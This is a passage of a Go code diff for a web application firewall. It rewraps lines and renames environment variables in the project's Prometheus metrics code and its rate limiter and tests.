"The size of each state or cache file, as it was last written.",
|
||||||
stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
|
byFile,
|
||||||
|
),
|
||||||
|
stateFileEditsTakenIn: counterVec(
|
||||||
|
"sww_state_file_edits_taken_in_total",
|
||||||
|
"Edits of each state or cache file taken in while running.",
|
||||||
|
byFile,
|
||||||
|
),
|
||||||
|
stateFileEditsSetAside: counterVec(
|
||||||
|
"sww_state_file_edits_set_aside_total",
|
||||||
"Edits of each state or cache file renamed to <name>.bad because they "+
|
"Edits of each state or cache file renamed to <name>.bad because they "+
|
||||||
"did not parse.",
|
"did not parse.",
|
||||||
byFile),
|
byFile,
|
||||||
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
@@ -162,13 +187,15 @@ func (m *Metrics) AddBansAndClients(
|
|||||||
for _, cause := range []string{
|
for _, cause := range []string{
|
||||||
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
||||||
} {
|
} {
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(
|
||||||
Name: "sww_bans_made_total",
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Help: "Bans made, by cause.",
|
Name: "sww_bans_made_total",
|
||||||
ConstLabels: prometheus.Labels{"cause": cause},
|
Help: "Bans made, by cause.",
|
||||||
}, func() float64 {
|
ConstLabels: prometheus.Labels{"cause": cause},
|
||||||
return float64(ledger.Made(cause))
|
}, func() float64 {
|
||||||
}))
|
return float64(ledger.Made(cause))
|
||||||
|
}),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
@@ -202,9 +229,11 @@ func (m *Metrics) AddBansAndClients(
|
|||||||
// ruleFiles, read as the metrics are asked for. It is called once, before
|
// ruleFiles, read as the metrics are asked for. It is called once, before
|
||||||
// RuleMatched.
|
// RuleMatched.
|
||||||
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
||||||
m.ruleMatches = counterVec("sww_rule_matches_total",
|
m.ruleMatches = counterVec(
|
||||||
|
"sww_rule_matches_total",
|
||||||
"Requests that matched a rule of the rule files, by its id and action.",
|
"Requests that matched a rule of the rule files, by its id and action.",
|
||||||
[]string{"rule_id", "action"})
|
[]string{"rule_id", "action"},
|
||||||
|
)
|
||||||
|
|
||||||
m.registry.MustRegister(m.ruleMatches,
|
m.registry.MustRegister(m.ruleMatches,
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
@@ -216,13 +245,13 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// AddRemoteLog adds the metrics of sending the log lines to
|
// AddRemoteLog adds the metrics of sending the log lines to
|
||||||
// SWW_WAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||||
// lines sent, those dropped, and those waiting in the buffer.
|
// lines sent, those dropped, and those waiting in the buffer.
|
||||||
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_remote_log_lines_sent_total",
|
Name: "sww_remote_log_lines_sent_total",
|
||||||
Help: "Log lines sent to SWW_WAF_LOG_REMOTE_URL.",
|
Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(remote.Sent())
|
return float64(remote.Sent())
|
||||||
}),
|
}),
|
||||||
@@ -247,7 +276,10 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
|||||||
// returns, and the replacements of it that could not be read, which
|
// returns, and the replacements of it that could not be read, which
|
||||||
// readFailures returns. The lookup package's File, which has both, cannot
|
// readFailures returns. The lookup package's File, which has both, cannot
|
||||||
// be named here: that package counts GeoJS's requests in these metrics.
|
// be named here: that package counts GeoJS's requests in these metrics.
|
||||||
func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
|
func (m *Metrics) AddLookupFile(
|
||||||
|
lastRead func() time.Time,
|
||||||
|
readFailures func() int,
|
||||||
|
) {
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_lookup_database_last_read_timestamp_seconds",
|
Name: "sww_lookup_database_last_read_timestamp_seconds",
|
||||||
@@ -276,24 +308,38 @@ const sourceLabel = "source"
|
|||||||
// metrics are asked for, for a list, the fetches that failed and when the
|
// metrics are asked for, for a list, the fetches that failed and when the
|
||||||
// copy in use was fetched, and for a zone, the queries made and those that
|
// copy in use was fetched, and for a zone, the queries made and those that
|
||||||
// failed. It is called once, before ReputationHit.
|
// failed. It is called once, before ReputationHit.
|
||||||
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
|
func (m *Metrics) AddReputation(
|
||||||
m.reputationHits = counterVec("sww_reputation_hits_total",
|
lists *reputation.Lists,
|
||||||
|
dnsbl *reputation.DNSBL,
|
||||||
|
) {
|
||||||
|
m.reputationHits = counterVec(
|
||||||
|
"sww_reputation_hits_total",
|
||||||
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
||||||
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
||||||
[]string{sourceLabel})
|
[]string{sourceLabel},
|
||||||
|
)
|
||||||
m.registry.MustRegister(m.reputationHits)
|
m.registry.MustRegister(m.reputationHits)
|
||||||
|
|
||||||
for _, zone := range dnsbl.Zones() {
|
for _, zone := range dnsbl.Zones() {
|
||||||
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
|
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
|
||||||
|
|
||||||
m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
|
m.addReputationQueries(
|
||||||
m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
|
source,
|
||||||
|
func() int { return dnsbl.Queries(zone) },
|
||||||
|
)
|
||||||
|
m.addReputationFailures(
|
||||||
|
source,
|
||||||
|
func() int { return dnsbl.Failures(zone) },
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, listURL := range lists.URLs() {
|
for _, listURL := range lists.URLs() {
|
||||||
source := prometheus.Labels{sourceLabel: listURL}
|
source := prometheus.Labels{sourceLabel: listURL}
|
||||||
|
|
||||||
m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
|
m.addReputationFailures(
|
||||||
|
source,
|
||||||
|
func() int { return lists.Failures(listURL) },
|
||||||
|
)
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_reputation_last_fetch_timestamp_seconds",
|
Name: "sww_reputation_last_fetch_timestamp_seconds",
|
||||||
@@ -315,7 +361,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
|
|||||||
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
||||||
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
||||||
// that failed, and how many checks the day's budget has left. It is
|
// that failed, and how many checks the day's budget has left. It is
|
||||||
// called once, after AddReputation, while SWW_WAF_ABUSEIPDB_KEY is set.
|
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
|
||||||
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||||
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
||||||
|
|
||||||
@@ -324,7 +370,7 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
|||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_reputation_daily_budget_remaining",
|
Name: "sww_reputation_daily_budget_remaining",
|
||||||
Help: "Checks of the day's SWW_WAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||||
ConstLabels: source,
|
ConstLabels: source,
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(abuseIPDB.BudgetLeft())
|
return float64(abuseIPDB.BudgetLeft())
|
||||||
@@ -365,8 +411,8 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
|
|||||||
}),
|
}),
|
||||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_alerts_suppressed_total",
|
Name: "sww_alerts_suppressed_total",
|
||||||
Help: "Alerts held back: repeats within SWW_WAF_ALERT_COOLDOWN, and " +
|
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
|
||||||
"alerts past SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||||
ConstLabels: destination,
|
ConstLabels: destination,
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(queue.Suppressed())
|
return float64(queue.Suppressed())
|
||||||
@@ -395,7 +441,10 @@ func (m *Metrics) RequestStarted() {
|
|||||||
|
|
||||||
// RequestEnded counts a request that has ended without being passed to the app,
|
// RequestEnded counts a request that has ended without being passed to the app,
|
||||||
// from its log line. duration is how long the request took.
|
// from its log line. duration is how long the request took.
|
||||||
func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
|
func (m *Metrics) RequestEnded(
|
||||||
|
line *requestlog.Line,
|
||||||
|
duration time.Duration,
|
||||||
|
) {
|
||||||
m.inFlight.Dec()
|
m.inFlight.Dec()
|
||||||
m.count(line, duration, 0)
|
m.count(line, duration, 0)
|
||||||
}
|
}
|
||||||
@@ -444,7 +493,7 @@ func (m *Metrics) RuleMatched(id, action string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
||||||
// with SWW_WAF_CORE_RULE_SET_MODE at mode.
|
// with SWW_WAF_MODE at mode.
|
||||||
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
||||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||||
}
|
}
|
||||||
@@ -487,8 +536,10 @@ func (m *Metrics) count(
|
|||||||
) {
|
) {
|
||||||
class := statusClass(line.Status)
|
class := statusClass(line.Status)
|
||||||
m.requests.WithLabelValues(class, line.Action).Inc()
|
m.requests.WithLabelValues(class, line.Action).Inc()
|
||||||
m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
|
m.requestBytes.WithLabelValues(class, line.Action).
|
||||||
m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
|
Add(float64(line.RequestBytes))
|
||||||
|
m.responseBytes.WithLabelValues(class, line.Action).
|
||||||
|
Add(float64(line.ResponseBytes))
|
||||||
m.requestDuration.Observe(duration.Seconds())
|
m.requestDuration.Observe(duration.Seconds())
|
||||||
|
|
||||||
if upstreamDuration > 0 {
|
if upstreamDuration > 0 {
|
||||||
@@ -506,7 +557,10 @@ func (m *Metrics) count(
|
|||||||
|
|
||||||
// addReputationQueries adds the counter of the queries to source, a DNSBL
|
// addReputationQueries adds the counter of the queries to source, a DNSBL
|
||||||
// zone, or of the checks of clients with AbuseIPDB, which count tells.
|
// zone, or of the checks of clients with AbuseIPDB, which count tells.
|
||||||
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
|
func (m *Metrics) addReputationQueries(
|
||||||
|
source prometheus.Labels,
|
||||||
|
count func() int,
|
||||||
|
) {
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_reputation_queries_total",
|
Name: "sww_reputation_queries_total",
|
||||||
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
|
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
|
||||||
@@ -519,7 +573,10 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
|
|||||||
// addReputationFailures adds the counter of the fetches of source, a
|
// addReputationFailures adds the counter of the fetches of source, a
|
||||||
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
|
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
|
||||||
// that failed, which count tells.
|
// that failed, which count tells.
|
||||||
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
|
func (m *Metrics) addReputationFailures(
|
||||||
|
source prometheus.Labels,
|
||||||
|
count func() int,
|
||||||
|
) {
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_reputation_failures_total",
|
Name: "sww_reputation_failures_total",
|
||||||
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
|
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
|
||||||
@@ -546,12 +603,17 @@ func statusClass(status int) string {
|
|||||||
// counterVec returns a counter named name, described by help, with a
|
// counterVec returns a counter named name, described by help, with a
|
||||||
// series for each set of values of labels.
|
// series for each set of values of labels.
|
||||||
func counterVec(name, help string, labels []string) *prometheus.CounterVec {
|
func counterVec(name, help string, labels []string) *prometheus.CounterVec {
|
||||||
return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
|
return prometheus.NewCounterVec(
|
||||||
labels)
|
prometheus.CounterOpts{Name: name, Help: help},
|
||||||
|
labels,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// gaugeVec returns a gauge named name, described by help, with a series
|
// gaugeVec returns a gauge named name, described by help, with a series
|
||||||
// for each set of values of labels.
|
// for each set of values of labels.
|
||||||
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
|
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
|
||||||
return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
|
return prometheus.NewGaugeVec(
|
||||||
|
prometheus.GaugeOpts{Name: name, Help: help},
|
||||||
|
labels,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
@@ -27,7 +27,11 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
|
|||||||
// refused.
|
// refused.
|
||||||
{Status: 404},
|
{Status: 404},
|
||||||
} {
|
} {
|
||||||
limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
|
limiter.AddToHistory(
|
||||||
|
client,
|
||||||
|
start.Add(time.Duration(i)*time.Minute),
|
||||||
|
r,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
want := ratelimit.History{
|
want := ratelimit.History{
|
||||||
@@ -63,7 +67,13 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
|
|||||||
|
|
||||||
// A later answer replaces it, and one for a client the table does not
|
// A later answer replaces it, and one for a client the table does not
|
||||||
// hold adds no client.
|
// hold adds no client.
|
||||||
limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
|
limiter.AddLookup(
|
||||||
|
client,
|
||||||
|
start.Add(time.Hour),
|
||||||
|
"AS64497",
|
||||||
|
"Other Net",
|
||||||
|
"FR",
|
||||||
|
)
|
||||||
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
|
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
|
||||||
|
|
||||||
want := ratelimit.History{
|
want := ratelimit.History{
|
||||||
@@ -96,7 +106,11 @@ func TestResetKeepsTheHistory(t *testing.T) {
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
wantCount(t, limiter, client, start, "")
|
wantCount(t, limiter, client, start, "")
|
||||||
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
|
limiter.AddToHistory(
|
||||||
|
client,
|
||||||
|
start,
|
||||||
|
ratelimit.Request{Forwarded: true},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
limiter.Reset(client)
|
limiter.Reset(client)
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// and bytes counted over a minute, an hour and a day, as the "Counting
|
// and bytes counted over a minute, an hour and a day, as the "Counting
|
||||||
// method" section of SPEC.md describes, which tell when a request takes
|
// method" section of SPEC.md describes, which tell when a request takes
|
||||||
// the client over a rate limit or a byte limit, and each client's history
|
// the client over a rate limit or a byte limit, and each client's history
|
||||||
// since it was first seen. At most SWW_WAF_MAX_TRACKED_CLIENTS clients are
|
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
|
||||||
// kept, in memory, and written to clients.json and read from it by the
|
// kept, in memory, and written to clients.json and read from it by the
|
||||||
// state package.
|
// state package.
|
||||||
package ratelimit
|
package ratelimit
|
||||||
@@ -157,7 +157,7 @@ type Request struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// New returns a Limiter for limits, with no client counted yet, whose
|
// New returns a Limiter for limits, with no client counted yet, whose
|
||||||
// table holds at most maxClients clients (SWW_WAF_MAX_TRACKED_CLIENTS). Past
|
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
|
||||||
// it, the least recently seen client is dropped, with its history, and
|
// it, the least recently seen client is dropped, with its history, and
|
||||||
// starts afresh if it comes back.
|
// starts afresh if it comes back.
|
||||||
func New(limits Limits, maxClients int) *Limiter {
|
func New(limits Limits, maxClients int) *Limiter {
|
||||||
@@ -241,7 +241,8 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
|
|||||||
buckets := c.buckets()
|
buckets := c.buckets()
|
||||||
|
|
||||||
for i, w := range l.windows {
|
for i, w := range l.windows {
|
||||||
if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
|
if w.limit > 0 &&
|
||||||
|
buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -271,7 +272,12 @@ func (l *Limiter) CountRefusal(
|
|||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
|
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
|
||||||
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
|
hit := Hit{
|
||||||
|
Kind: KindRefusals,
|
||||||
|
Window: "minute",
|
||||||
|
Limit: threshold,
|
||||||
|
Count: count,
|
||||||
|
}
|
||||||
|
|
||||||
return hit, count > float64(threshold)
|
return hit, count > float64(threshold)
|
||||||
}
|
}
|
||||||
@@ -292,7 +298,11 @@ func (l *Limiter) Reset(client netip.Prefix) {
|
|||||||
|
|
||||||
// AddToHistory adds r, a request from client at now, to the client's
|
// AddToHistory adds r, a request from client at now, to the client's
|
||||||
// history.
|
// history.
|
||||||
func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
|
func (l *Limiter) AddToHistory(
|
||||||
|
client netip.Prefix,
|
||||||
|
now time.Time,
|
||||||
|
r Request,
|
||||||
|
) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
@@ -470,7 +480,13 @@ func (l *Limiter) count(
|
|||||||
for i, w := range l.windows {
|
for i, w := range l.windows {
|
||||||
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
|
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
|
||||||
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
|
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
|
||||||
limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
|
limit, byteLimit := percentOf(
|
||||||
|
w.limit,
|
||||||
|
percent,
|
||||||
|
), percentOf(
|
||||||
|
w.byteLimit,
|
||||||
|
percent,
|
||||||
|
)
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case hit.Window != "":
|
case hit.Window != "":
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
const limit = 3
|
const limit = 3
|
||||||
|
|
||||||
// tableSize is the most clients the tests' tables hold, the default of
|
// tableSize is the most clients the tests' tables hold, the default of
|
||||||
// SWW_WAF_MAX_TRACKED_CLIENTS.
|
// SWW_MAX_TRACKED_CLIENTS.
|
||||||
const tableSize = 20000
|
const tableSize = 20000
|
||||||
|
|
||||||
// whole is the percentage of each limit a client gets when nothing lowers
|
// whole is the percentage of each limit a client gets when nothing lowers
|
||||||
@@ -26,13 +26,17 @@ const (
|
|||||||
hour = "hour"
|
hour = "hour"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
|
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
now := midnight()
|
now := midnight()
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
|
|
||||||
if limiter.OverARateLimit(client, now) {
|
if limiter.OverARateLimit(client, now) {
|
||||||
t.Error("a client never seen is over a rate limit")
|
t.Error("a client never seen is over a rate limit")
|
||||||
@@ -44,7 +48,9 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
if limiter.OverARateLimit(client, now) {
|
if limiter.OverARateLimit(client, now) {
|
||||||
t.Error("a client with room for another request is over a rate limit")
|
t.Error(
|
||||||
|
"a client with room for another request is over a rate limit",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, client, now, "")
|
wantCount(t, limiter, client, now, "")
|
||||||
@@ -56,7 +62,11 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
|
|||||||
|
|
||||||
held, _ := limiter.Client(client)
|
held, _ := limiter.Client(client)
|
||||||
if held.Minute.Current != limit {
|
if held.Minute.Current != limit {
|
||||||
t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
|
t.Errorf(
|
||||||
|
"the client's minute holds %d requests, want %d",
|
||||||
|
held.Minute.Current,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, client, now, minute)
|
wantCount(t, limiter, client, now, minute)
|
||||||
@@ -99,7 +109,13 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
|
|||||||
// A quarter into the next bucket, the window still covers three
|
// A quarter into the next bucket, the window still covers three
|
||||||
// quarters of the bucket before, with its four requests: 3 + 1
|
// quarters of the bucket before, with its four requests: 3 + 1
|
||||||
// is over the limit.
|
// is over the limit.
|
||||||
wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
|
wantCount(
|
||||||
|
t,
|
||||||
|
limiter,
|
||||||
|
client,
|
||||||
|
start.Add(tc.length+quarter),
|
||||||
|
tc.window,
|
||||||
|
)
|
||||||
|
|
||||||
// Three quarters into it, a quarter: 1 + 2 is within.
|
// Three quarters into it, a quarter: 1 + 2 is within.
|
||||||
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
|
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
|
||||||
@@ -110,7 +126,10 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
|
|||||||
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
|
limiter := ratelimit.New(
|
||||||
|
ratelimit.Limits{PerMinute: limit, PerHour: limit},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -128,16 +147,22 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
|||||||
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
|
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf("request over the limit gives %+v and %t, want %+v and true",
|
t.Errorf(
|
||||||
hit, over, want)
|
"request over the limit gives %+v and %t, want %+v and true",
|
||||||
|
hit,
|
||||||
|
over,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -151,9 +176,19 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
|||||||
|
|
||||||
_, hit, over := limiter.Count(client, start, 50)
|
_, hit, over := limiter.Count(client, start, 50)
|
||||||
|
|
||||||
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
|
want := ratelimit.Hit{
|
||||||
|
Kind: ratelimit.KindRequests,
|
||||||
|
Window: minute,
|
||||||
|
Limit: 2,
|
||||||
|
Count: 3,
|
||||||
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
|
t.Errorf(
|
||||||
|
"the third request gives %+v and %t, want %+v and true",
|
||||||
|
hit,
|
||||||
|
over,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Half of the largest byte limit is still far above a TiB: working it
|
// Half of the largest byte limit is still far above a TiB: working it
|
||||||
@@ -168,8 +203,10 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Only the hour has limits: the minute's and the day's are off.
|
// Only the hour has limits: the minute's and the day's are off.
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -177,14 +214,24 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
|
|||||||
// hour's limits, which are 0; the minute's, which are off, stay off.
|
// hour's limits, which are 0; the minute's, which are off, stay off.
|
||||||
_, hit, _ := limiter.Count(client, start, 0)
|
_, hit, _ := limiter.Count(client, start, 0)
|
||||||
|
|
||||||
